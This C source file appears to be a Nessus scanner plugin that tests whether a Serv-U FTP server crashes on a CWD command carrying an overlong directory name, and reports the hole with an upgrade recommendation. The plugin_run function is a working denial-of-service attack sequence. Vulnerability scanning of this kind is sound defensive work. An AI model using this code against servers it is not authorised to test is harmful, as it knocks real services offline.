/*
 * 
 * servu_dos
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>
#define NAME "Serv-U 'CWD' denial of service"
#define DESC "\
This plugin attempts to crash a remote Serv-U FTP server by\n\
issuing a CWD command with a long dir name\n\
Risk factor : High/Medium"
#define COPYRIGHT "no copyright"
#define SUMM "crashes a remote Serv-U FTP server"





PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_DENIAL);
	plug_set_family(desc, "Denial of Service");
	return(0);
}
	

PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
	int soc;
	char * buf;
	char * long_buf;
	
	
	if(host_get_port_state(args, 21)<=0)return(0);
	soc = open_sock_tcp(args, 21);
	if(soc<0)return(-1);
	long_buf = emalloc(1024);
	memset(long_buf, 'X', 1023);
	buf = emalloc(2048);
	sprintf(buf, "USER ftp\n");
	send(soc, buf, strlen(buf),0);
	recv(soc, buf, 4, 0);
	recv(soc, buf+4, 1024,0);
	
	sprintf(buf, "USER joe@\n");
	send(soc, buf, strlen(buf),0);
	recv(soc, buf, 4, 0);
	recv(soc, buf+4, 1024,0);
	
	sprintf(buf, "CWD %s\n", long_buf);
	efree(&long_buf);
	send(soc, buf, strlen(buf),0);
	efree(&buf);
	socket_close(soc);
	if((soc = open_sock_tcp(args, 21))<0)
	{
	 post_hole(args, 21, 
"The remote FTP server could be crashed using the Serv-U\n\
denial of service attack.\n\
Solution : upgrade");
	}
        else socket_close(soc);
	return(0);
}

